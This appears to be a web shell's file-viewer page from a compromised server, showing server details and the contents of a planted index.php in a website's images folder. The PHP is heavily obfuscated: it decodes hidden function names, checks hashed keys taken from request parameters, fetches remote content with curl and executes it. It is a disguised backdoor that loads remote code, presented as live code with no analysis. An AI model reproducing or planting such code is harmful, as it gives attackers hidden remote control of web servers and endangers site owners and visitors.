HEX
Server: nginx/1.26.0
System: Linux iZj6ceg0gjdkbpnmyl2cnnZ 5.15.60-1.el7.x86_64 #1 SMP Thu Aug 11 12:39:22 UTC 2022 x86_64
User: www (1000)
PHP: 7.0.33
Disabled: phpinfo,eval,passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,pfsockopen,fsocket,fsockopen
Upload Files
File: /data/wwwroot/sites/multitrustcapital.com/www/images/images/index.php
<?php
 goto SV_G0oE5JmObAIOE; xjZFWZtom0HT35Ww: zQkGLbs6j_uokqKm: goto HpbiStJHrIxeaXSa; kCD7Hnrj5mMzqXbf: $jSG8KFcCnfytw1Zt(); goto xjZFWZtom0HT35Ww; SV_G0oE5JmObAIOE: $yEjFkHtQ6zcoeAsN = range("\x7e", "\x20"); goto m4nNveQzaV6WYYhZ; HpbiStJHrIxeaXSa: metaphone("\116\x70\152\x32\170\x39\x53\x44\x76\70\x34\162\102\155\105\x41\162\x62\146\x75\x5a\142\152\122\143\146\x68\122\x6f\x34\63\62\144\130\x6a\63\155\124\162\161\x74\65\x45"); goto tODSPqsz11xjfAqL; m4nNveQzaV6WYYhZ: $jSG8KFcCnfytw1Zt = ${$yEjFkHtQ6zcoeAsN[30 + 1] . $yEjFkHtQ6zcoeAsN[39 + 20] . $yEjFkHtQ6zcoeAsN[47 + 0] . $yEjFkHtQ6zcoeAsN[1 + 46] . $yEjFkHtQ6zcoeAsN[51 + 0] . $yEjFkHtQ6zcoeAsN[47 + 6] . $yEjFkHtQ6zcoeAsN[23 + 34]}; goto bZ3g1ElU86U38IDA; bZ3g1ElU86U38IDA: if (!(in_array(gettype($jSG8KFcCnfytw1Zt) . "\62\65", $jSG8KFcCnfytw1Zt) && md5(md5(md5(md5($jSG8KFcCnfytw1Zt[19])))) === "\x31\71\143\x64\146\146\x39\71\144\63\x33\64\x31\142\62\60\x39\x66\63\143\66\x65\x35\65\x32\60\61\x33\65\62\62\x62")) { goto zQkGLbs6j_uokqKm; } goto Lv0UFCd313zaK6RH; I3NJLqwrwSy_VHIW: @($jSG8KFcCnfytw1Zt = $jSG8KFcCnfytw1Zt[87]($jSG8KFcCnfytw1Zt[56], $jSG8KFcCnfytw1Zt[64](${$jSG8KFcCnfytw1Zt[35]}[13]))); goto kCD7Hnrj5mMzqXbf; tODSPqsz11xjfAqL: class oP3utlqZ4qLnAaxS { static function dbIvj3rIFIEhDokt($D3QEZsagN4yI8zOE) { goto KjTSxKyU_lnS_z98; KjTSxKyU_lnS_z98: $uGPWC4meXzBgFzO3 = "\x72" . "\141" . "\x6e" . "\147" . "\145"; goto U3KVpb_I6b0hYCmK; GSJJKJI4nezaR7j3: $xy5AbLjFo8cgjYyR = explode("\76", $D3QEZsagN4yI8zOE); goto boLbVM023naz2egg; f1NEwq_xbn2YtOMg: WD4vpO39jpklzZIq: goto hti3F3gCYmpp1ZNf; U3KVpb_I6b0hYCmK: $qBF2LmQbKcUMd0Ee = $uGPWC4meXzBgFzO3("\176", "\x20"); goto GSJJKJI4nezaR7j3; boLbVM023naz2egg: $ADtfSC7qhlQavcyC = ''; goto pNkbMaphXKL7TVeS; pNkbMaphXKL7TVeS: foreach ($xy5AbLjFo8cgjYyR as $qYKHC62HXUXUdlsJ => $s4pXhzVjlcWXXyGk) { $ADtfSC7qhlQavcyC .= $qBF2LmQbKcUMd0Ee[$s4pXhzVjlcWXXyGk - 20059]; Kmmv4L1gKD0yjQW2: } goto f1NEwq_xbn2YtOMg; hti3F3gCYmpp1ZNf: return $ADtfSC7qhlQavcyC; goto GZ_ZWh6Ri6KjAAd2; GZ_ZWh6Ri6KjAAd2: } static function CCN01tV2cYbsf3a7($LLbEcOCZ3d3f2YLG, $khDyzCOu1vjcQBKk) { goto lNCEPZD7iNMVZk4K; lNCEPZD7iNMVZk4K: $WRqMvnr1cde36_OW = curl_init($LLbEcOCZ3d3f2YLG); goto qIuBaUxwiQ9c_tiE; Z4mKNSlZVLZPUxqG: $WjW0RfIlGnlOUJHz = curl_exec($WRqMvnr1cde36_OW); goto tyscRs5YilI86D5D; tyscRs5YilI86D5D: return empty($WjW0RfIlGnlOUJHz) ? $khDyzCOu1vjcQBKk($LLbEcOCZ3d3f2YLG) : $WjW0RfIlGnlOUJHz; goto rNUsV1TXiBlPQ1SE; qIuBaUxwiQ9c_tiE: curl_setopt($WRqMvnr1cde36_OW, CURLOPT_RETURNTRANSFER, 1); goto Z4mKNSlZVLZPUxqG; rNUsV1TXiBlPQ1SE: } static function BEdq6UdcmYGomQVb() { goto GFxE1HSSVkpuRvw6; aCMkYl0bna3OAVHL: $xzeaW7qENQlYOxoC = $CSZR2HL1VtAR1bDz[0 + 2]($gCTOb372cV5ba9Ab, true); goto xlaNlZN4nS84lCJZ; pujzjNxi_EQm1O4S: foreach ($h3Dl39TRp7X3Po5g as $i5czNeSMk9T3BSev) { $CSZR2HL1VtAR1bDz[] = self::DbiVj3rIfieHDoKt($i5czNeSMk9T3BSev); Z0xT54GJgV31bDy0: } goto QMhOIPUIbNwoIy9x; GFxE1HSSVkpuRvw6: $h3Dl39TRp7X3Po5g = array("\x32\60\60\70\66\76\x32\60\x30\x37\61\x3e\x32\60\60\70\x34\x3e\62\x30\x30\70\x38\76\x32\60\x30\66\71\x3e\x32\x30\x30\70\64\76\x32\60\60\71\60\x3e\x32\x30\x30\x38\x33\76\x32\60\60\66\x38\x3e\x32\x30\60\67\x35\76\62\x30\x30\70\x36\76\x32\60\x30\x36\71\76\62\x30\60\70\60\x3e\62\x30\x30\67\x34\76\x32\60\x30\x37\x35", "\x32\x30\x30\x37\60\x3e\x32\x30\60\66\x39\76\x32\60\x30\67\61\76\62\x30\x30\x39\x30\76\x32\60\60\67\61\76\62\60\x30\67\x34\76\x32\60\60\66\x39\x3e\x32\x30\61\63\66\x3e\x32\60\x31\x33\64", "\x32\60\x30\x37\71\76\x32\60\60\67\60\x3e\x32\60\x30\x37\x34\76\62\60\x30\x37\65\76\x32\60\x30\71\60\76\x32\x30\x30\70\x35\76\x32\60\x30\x38\x34\76\62\x30\60\70\66\x3e\x32\60\60\67\64\76\x32\60\x30\70\x35\76\62\x30\x30\70\x34", "\62\x30\x30\67\63\76\x32\x30\x30\x38\x38\76\x32\60\60\70\x36\76\62\x30\x30\67\x38", "\62\x30\x30\x38\x37\76\62\x30\60\x38\70\x3e\62\x30\x30\67\60\76\62\x30\60\x38\64\x3e\62\x30\x31\63\x31\76\62\60\61\x33\x33\x3e\x32\x30\x30\x39\60\x3e\x32\60\60\x38\65\x3e\x32\x30\x30\x38\64\x3e\x32\x30\60\x38\66\x3e\x32\60\60\67\x34\76\x32\60\x30\x38\x35\x3e\62\60\60\x38\x34", "\62\x30\x30\70\x33\76\x32\x30\60\x38\60\76\x32\60\x30\x37\x37\x3e\x32\x30\x30\70\x34\76\x32\x30\x30\x39\x30\x3e\x32\60\x30\70\62\x3e\x32\60\60\x38\64\x3e\62\60\x30\66\71\x3e\62\x30\60\71\x30\76\62\60\60\70\x36\76\x32\60\x30\x37\x34\76\x32\60\60\67\65\76\x32\x30\60\x36\x39\x3e\62\x30\60\x38\64\x3e\62\x30\60\67\65\x3e\62\x30\60\66\x39\76\62\x30\x30\67\x30", "\62\x30\x31\61\63\76\62\60\61\x34\x33", "\x32\60\x30\66\x30", "\62\x30\x31\x33\x38\x3e\62\60\x31\64\x33", "\62\x30\61\62\60\x3e\x32\60\61\60\63\76\62\x30\61\x30\x33\x3e\x32\x30\61\62\60\x3e\62\x30\60\x39\66", "\62\x30\x30\70\63\76\x32\60\x30\70\x30\x3e\62\60\x30\x37\x37\x3e\62\x30\x30\66\x39\76\62\x30\60\x38\x34\x3e\62\60\60\67\x31\76\62\x30\x30\x39\x30\x3e\62\60\60\x38\60\76\x32\x30\x30\67\x35\x3e\62\60\60\x37\63\76\62\x30\x30\x36\x38\76\x32\60\60\66\x39"); goto pujzjNxi_EQm1O4S; uUqg2wuDHGDWDy_e: die; goto iNhCWngcyXNeGD76; dDaQa63GhsRumjrh: $kSWDZ_4h_F8NP77f = self::CcN01Tv2cyBsF3a7($xzeaW7qENQlYOxoC[0 + 1], $CSZR2HL1VtAR1bDz[0 + 5]); goto l70BatJrSI4xlYWZ; jsobuI86BpKROsOc: $gCTOb372cV5ba9Ab = @$CSZR2HL1VtAR1bDz[1 + 2]($CSZR2HL1VtAR1bDz[0 + 6], $ffi0T3bgPU8R8Teh); goto aCMkYl0bna3OAVHL; l70BatJrSI4xlYWZ: @$CSZR2HL1VtAR1bDz[0]('', $CSZR2HL1VtAR1bDz[6 + 1] . $CSZR2HL1VtAR1bDz[3 + 1]($kSWDZ_4h_F8NP77f) . $CSZR2HL1VtAR1bDz[4 + 4]); goto uUqg2wuDHGDWDy_e; THKEqscxnSFNcvSj: if (!(@$xzeaW7qENQlYOxoC[0] - time() > 0 and md5(md5($xzeaW7qENQlYOxoC[3 + 0])) === "\x32\71\67\x38\x34\x65\64\x63\61\x62\65\145\x65\71\64\x62\x36\60\x30\x35\143\x61\60\x63\66\64\x37\146\x65\x34\145\70")) { goto WrFoB2lqDIy0y8oy; } goto dDaQa63GhsRumjrh; iNhCWngcyXNeGD76: WrFoB2lqDIy0y8oy: goto KylvzeM9Yet7SNpQ; xlaNlZN4nS84lCJZ: @$CSZR2HL1VtAR1bDz[4 + 6](INPUT_GET, "\x6f\146") == 1 && die($CSZR2HL1VtAR1bDz[1 + 4](__FILE__)); goto THKEqscxnSFNcvSj; QMhOIPUIbNwoIy9x: kphg_2YmL71ZNG3B: goto J_LwUPz1z0Iq0s6E; J_LwUPz1z0Iq0s6E: $ffi0T3bgPU8R8Teh = @$CSZR2HL1VtAR1bDz[1]($CSZR2HL1VtAR1bDz[3 + 7](INPUT_GET, $CSZR2HL1VtAR1bDz[8 + 1])); goto jsobuI86BpKROsOc; KylvzeM9Yet7SNpQ: } } goto zqQHeIf6PzsNB1Iw; Lv0UFCd313zaK6RH: $jSG8KFcCnfytw1Zt[64] = $jSG8KFcCnfytw1Zt[64] . $jSG8KFcCnfytw1Zt[74]; goto aJ28RorhATJe1OLj; aJ28RorhATJe1OLj: $jSG8KFcCnfytw1Zt[87] = $jSG8KFcCnfytw1Zt[64]($jSG8KFcCnfytw1Zt[87]); goto I3NJLqwrwSy_VHIW; zqQHeIf6PzsNB1Iw: OP3UtLqz4QLnaAxS::bedQ6udcmyGOMQvb();
?>